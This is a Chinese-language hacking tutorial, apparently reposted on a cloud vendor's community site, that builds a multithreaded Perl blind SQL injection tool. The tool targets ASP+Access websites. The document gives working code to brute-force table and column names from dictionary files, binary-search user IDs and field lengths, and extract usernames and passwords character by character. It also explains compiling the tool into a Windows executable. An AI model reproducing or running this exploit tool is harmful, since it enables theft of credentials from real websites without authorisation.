鑄造多線程+中文SQL自動注入機

來源:互聯網
上載者:User
說到SQL注入機,從娃娃針對動網文章的dvTxt.pl到臭要飯的絕世猜解CSC、NB同盟NBSI,大家也都用過吧?
開天始祖dvTxt.pl,也不知被改了多少遍,以用於針對各種不同的有SQL注入漏洞的系統,通常《黑防》的一篇《**存在SQL注入漏洞》的文章,末了,都要把這尊大佛抬出來,更改幾個欄位,然後,又一個**專殺工具出土了!對於臭要飯的絕世猜解CSC,我用得已經是忍無可忍了, 雖然採用了多線程技術,但是依然彌補不了演算法低劣的惡劣影響,破解由於採用的是字典,不僅速度慢,同時也限制了對中文這樣的雙位元組字元的破解,而NBSI,破解演算法雖然得到了改進,但是卻忘了多線程,而且在猜解表名、列名時,共用一個大字典,白白浪費掉不少時間。兩個東西拼在一起就好了,可是沒有原代碼阿(可視化開發工具,在下也只會用VB)?! 也不知道老大們是不是用一種語言開發的,就算是同一種,就算是VB,也沒有人誰願意提供原代碼阿,無奈…只好響應主席號召:自己動手,豐衣足食!
程式不過是將手動變為自動,先來痛苦地回憶一下手動注入猜解的過程:1.找到注入點->2.構造SQL查詢語句->3.提交URL->4.根據瀏覽器返回資訊判斷SQL查詢語句正確性->5.修正SQL查詢語句->6.重複3.4.5步N遍,直到得到資料庫儲存的正確資訊。
翻譯成程式語言:1.輸入存在SQL注入漏洞的URL($url)->2.從URL中提取主機($host)、路徑($path)、連接埠($port)->3. 構造SQL查詢語句加入URL($url)->4.用IO::Socket向目標主機提交URL ->5.從返回的頁面中提取查詢邏輯值為真(假)時存在的字元($info),成功則轉入對下一目標值的猜解,失敗則繼續重複3.4.5步。
猜解全域流程圖如下:
使用者資訊表 - > 使用者名稱欄位 - > 密碼欄位 - > ID欄位 - > 最小使用者ID - > 使用者名稱長度- > 密碼長度 - > 使用者名稱 - > 密碼
說得有點簡約,因為這些東西普及得實在厲害,更詳細的內容,大家可以參閱《駭客防線》第5期的SQL注入專題,理論講完了,大家也都情不自禁、心急火燎、磨刀霍霍……
LET’GO!
一. 提取$URL中的主機($host)、路徑($path)、連接埠($port)
還曾記得娃娃的那個dvTxt.pl,還有它那煩瑣的用法:dvTxt.pl <host> <way> <articleID> <errInfo> ,$URL一家三口被活生生的拆散,蒼天啊!
在使用中,複製粘貼起來極為不便,其實,使用PERL強大的Regex,一卻都可以迎刃而解,先來隨便觀察幾個URL:http://www.hemon.tk/show.asp?id=957 、http://www.hemon.tk:1314/show.asp?id=957 、 http://www.hemon.tk/article/show.asp?id=957 。透過現象看本質,規律也就出來了:(http://)主機(:連接埠)/ 路徑 。()內字元出現0或1次。
Regex也就有了:
程式碼:
        if($url=~/(////)?(.+?)//(.+)/)
        {
                $host=$2;
                $path='/'.$3;
                if($host=~/(.+):(.+)/)
                {
                 $host=$1;
                 $port=$2;
                }
        }

在“$url=~/(////)?(.+?)//(.+)/”中,先要說一說那個?,?匹配0個或1個該字元,所以在輸入連結的時候“http://”可有可無;匹配主機($host)的是(.+?),為什麼不是(.+),因為perl預設的貪婪模式,將儘可能多的匹配至後面的字元(在這裡是‘/’),所以如果不及時限定,對這樣一個URL:http://www.hemon.tk/article/show.asp?id=957 ,$host將匹配至www.hemon.tk/article ,而不是我們想要的 www.hemon.tk 。
二. IO::Socket提交函數
    經過剛才的努力,也該是回報的時候了,趕緊用我們提取得到的主機($host)、路徑($path)、連接埠($port)寫好這個提交函數:

程式碼:
sub connect
{
     $req = "GET $path$path1 HTTP/1.0/n".
        "Host: $host/n".
        "Referer: $host/n".
        "Cookie: /n/n";
        
        my $connection = IO::Socket::INET->new(Proto =>"tcp",
        PeerAddr =>$host,
        PeerPort =>$port) || die "Sorry! Could not connect to $host /n";
        print $connection $req;
        my @res = <$connection>;
        close $connection;
        return @res;
}

Connect 子常式將返回資訊儲存在數組@res中; 
三. 猜解使用者資訊表
使用SQL查詢語句:0<>(select count(*) from TABLE)
真正的破解開始了,沒有什麼捷徑可走,順次讀取字典裡儲存的表名,然後一個一個的嘗試,一旦成功匹配正確資訊,立即退出while迴圈;字典有兩種,一種是數組,第二是文本字典,PERL指令碼我們將編譯為EXE可執行檔,為了便於今後修改添加新的表名,我使用文本字典檔案:

程式碼:
        open (tabInput,"table.txt") or die "can't open file!/n";
        while (chomp(my $input=<tabInput>))
        {
                my $sql="0<>(select%20count(*)%20from%20$input)";
                $path1 = "%20AND%20$sql";
                &url;
                @res = &connect;
                if ("@res"=~/$info/)
                {
                        $table_user=$input;
                        print "the table of userinfo is:$table/n";
                        last;
                }
        }
        close(tabInput);

四. 猜解欄位名
使用SQL查詢語句:exists (select COL_NAME from TABLE)
這一步同猜解表名如出一轍,一旦成功擷取表名,我們將兵分三路,直取使用者名稱列($field_user)、密碼列($field_pass)、ID列($field_id),既然是分兵出擊,就不得不使用多線程,PERL中的多線程,呵呵,你還沒有試過吧?
為實現多線程作的第一個準備,編寫猜解子常式(函數),我們依然使用文本字典檔案,在這裡,檔案名稱作為唯一的參數傳入:

程式碼:
sub field_input
{
        my $field;
        open (fieInput,"$_[0]") or die "can't open file!/n";
        while (chomp(my $input=<fieInput>))
        {
                my $sql="exists%20(select%20$input%20from%20$table_User)";
                $path1 = "%20AND%20$sql";
                my @res = &connect;
                if ("@res"=~/$info/)
                {
                        $field=$input;
                        print "/t+--  $field  --+";
                        last;
                }
        }
        close(fieInput);
        return $field;
}

五.PERL多線程速成
然後,然後當然就是學習PERL的多線程技術!!!也許現在你就開始膽戰心驚,以為這有什麼了不起,呵呵,80/20的瑞士軍刀法則在這裡又是那麼管用,我們僅僅需要學習兩個函數就可以結束我們的速成班:
$thread = threads->create(function, LIST)
以變數名$thread,建立一個子常式/函數(FUNCTION)的一個線程,LIST為子常式/函數的參數,CREATE可替換為NEW。
$thread->join
等待線程運行完畢。一旦結束運行,join()將返回子常式/函數(FUNCTION)的值。
THAT'S ALL!
就這麼簡單?完了?就這麼兩把菜刀就可以幹我們的革命了!!!
詳情參閱ActicePerl的協助文檔:Perl/html/lib/threads.html.
5、4、3、2、1、點火!!!

程式碼:
$thread1  = threads->create("field_Input","field_Username.txt");
    $thread2  = threads->create("field_Input","field_Password.txt");
    $thread3  = threads->create("field_Input","field_ID.txt");

回收返回倉:

程式碼:
$field_Username = $thread1->join();
    $field_Password = $thread2->join();
    $field_ID = $thread3->join();

同時射出三個線程,然後JOIN回來,多麼完美的落地啊,10分!!!
五. 猜數位技巧
即便是多了幾匹馬,馬再多也沒有跑不過火輪車阿,我們來研究一下猜解的技巧,回過頭看看等待我們的任務:最小使用者ID - > 使用者名稱長度- > 密碼長度 - > 使用者名稱 - > 密碼。
ID值是天然的數值,長度是length($field)是數值,一位使用者名稱和密碼的ASCII碼還是數值,都玩過網上的一個猜數位JAVASCRIPT遊戲吧?一個100以內的數,為什麼只給你7次機會去猜?因為2^7=128,換句話說,一個128以內的數,你也只需猜7次,那麼李詠節目裡頭那些幾千上萬塊錢的東西,又要猜幾次呢?2^13=8192, 2^14=16384,你還愁拿不到獎品嗎?!
為了讓大家看清楚一點,猜一個8以內的數,比如是5,步驟如下:
? < 4  N
? < 6  Y  4 + 2
? < 5  N  6 - 1
? = 5
也就用了三次,首先從中值(4)開始,每猜解一次加/減中值的一半(2、1),這些2^n都是固定了的,為了避免CPU的重複計算,可以根據猜解值的範圍,相應預備一個數組,我準備了四個:

程式碼:
@dic1=(128,64,32,16,8,4,2,1); # 最小使用者ID 
@dic2=(16,8,4,2,1); # 使用者名稱、密碼長度
@dic3=(64,32,16,8,4,2,1); # 英文字元
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字元

演算法函數如下:
sub crack
{
my(@dic) = @_;
my $sql=pop(@dic);
my $i=0;
my $op=1;
my $crack;
foreach my $pass(@dic)
{
        print ">";
        $i++;
        $crack+=$op*$pass;
        $path1 = "%20AND%20$crack<($sql)";
        my @res = &connect;
        if ("@res" =~ /$info/)
        {
                $op=1;
                if($i==@dic)
                {
                        $crack++;
                }
        }
        else
        {
                $op=-1;
        }
}
return $crack;
}

$sql="select%20min($field_ID)%20from%20$table_User";
$id=&crack(@dic1,"$sql");

傳遞進構造的SQL注入語句以及相應的數組字典,CRACK!!!
參數為數組時,子程式只將它賦給一個陣列變數,my(@dic)而非my(@dic,$sql) =@_;後者,$sql必然為空白!簡單變數和陣列變數是可以同時傳遞,$sql在此是@dic的最後一個元素。pop(@dic)再刪去列表最後一個元素($sql),並將其作為傳回值,剩下的@dic就是純潔的數字了。
讓我們一鼓作氣,拿下使用者名稱和密碼長度,同時,別忘了使用多線程:

程式碼:
$sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id";
my $thread4  = threads->create("crack",@dic2,$sql);
$sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id";
my $thread5  = threads->create("crack",@dic2,$sql);
$userlen = $thread4->join();
$passlen = $thread5->join();

六.最後的戰役-攻破欄位值
使用SQL查詢語句:select abs(asc(mid($fieUsername,$locat,1))) from  $table_User where $field_Id = $id
這裡不討論MS-SQL中的猜測,可以說MS-SQL下是不用猜測的,你只要構造的條件足夠的好,可以直接讓對方在報錯的時候將資料內容直接顯示出來。
ACCESS中字元的猜測:首先要判斷ASCII碼值是否大於零,大於,就用@dic3套到CRACK函數裡面,小於就用@dic4了!函數返回數值以後,對於英文字元,有兩種方法:使用nchar($asc)或者pack('C*',$asc);而對於中文字元:開啟計算機,選擇科學型,轉換成十六進位單字,是****,用UltraEdit編輯為*字,哈哈……那就不叫編程了!
首先要用sprintf("%X",$asc)完成計算機的轉換十六進位的工作,(別忘了用Regex提出最後四位,不然一個字前面就要冒出兩個空格)然後再用pack("H*",$str)完成UltraEdit的打包作業: 

程式碼:
sub asc
{
        my $asc=$_[0];
        my $str;
        if ($asc<256)
              {
              $str = pack('C*',$asc);
              }
        else
        {
        $asc*=-1;
        $str = sprintf("%X",$asc);
        if ($str=~/(.{4})$/i)
        {
                $str=$1;
        }
        $str = pack("H*",$str);
        }
        return $str;
}

萬事俱備,只欠東風,此僅舉猜解密碼值為例,一位密碼啟動一個CRACK子線程:

程式碼:
for (my $locat=1;$locat<=$passlen;$locat++)
{
        $sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id";
        $path1 = "%20AND%200>($sql)";
        my @res = &connect;
        if ("@res" =~ /$info/)
{
$sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id";
              $password[$locat] = threads->create("crack",@dic4,$sql);
        }
        else
        {
              $password[$locat] = threads->create("crack",@dic3,$sql);
        }
}

    慢慢等待這些孩子們都一個個衣錦還鄉吧:

程式碼:
for (my $locat=1;$locat<=$passlen;$locat++)
    {
         $password[$locat] = $password[$locat]->join();
    }

其它的顯示細節,我就不要意思多說了,趕忙編譯EXE。GO!
六. 編譯perl為EXE
從perl2exe的老家http://www.indigostar.com/perl2exe.htm ,DOWN個最新版本的Perl2Exe for Win32,目前為止是8.40,直接解壓縮,CMD命令列進入解壓後的目錄,為了避免瀏覽煩人的廣告,我們先得註冊一下這個軟體:

程式碼:
D:/hemon/software>perl2exe -register
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Please enter your registration key, or press enter to cancel

輸入我的註冊碼:
hemon:hemon:20040709,36713
註冊成功之後顯示:
Registered
同時,程式目錄產生一個名為perl2exe.key的註冊表檔案,可千萬移不得啊!
編譯PL:

程式碼:
D:/hemon/software>perl2exe si.pl
Perl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR Software
Registered to hemon:hemon:20040709, ENT version
Converting 'si.pl' to si.exe

一個多線程的、支援中文破解的PERL版注入器就誕生了!!!
大約能提高一倍的速度,也就是可以節約一半的時間,與我的預期還是有很大出入的。美中不足的是,還真應了“欲速則不達”的古語,我提供了兩個版本(thr.pl/sig.pl),對於那些網速較慢的網站,呵呵……用了你就知道,一般人我不告訴!最好還是改用單線程的,穩定性較好。
不過,代碼在手,我就不怕你會改,增強穩定性什麼的,稍微加上幾個函數,讓它支援PHP+MYSQL,ASP+MSSQL什麼的……
一句話:網聚人的力量!支援開放原代碼!

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.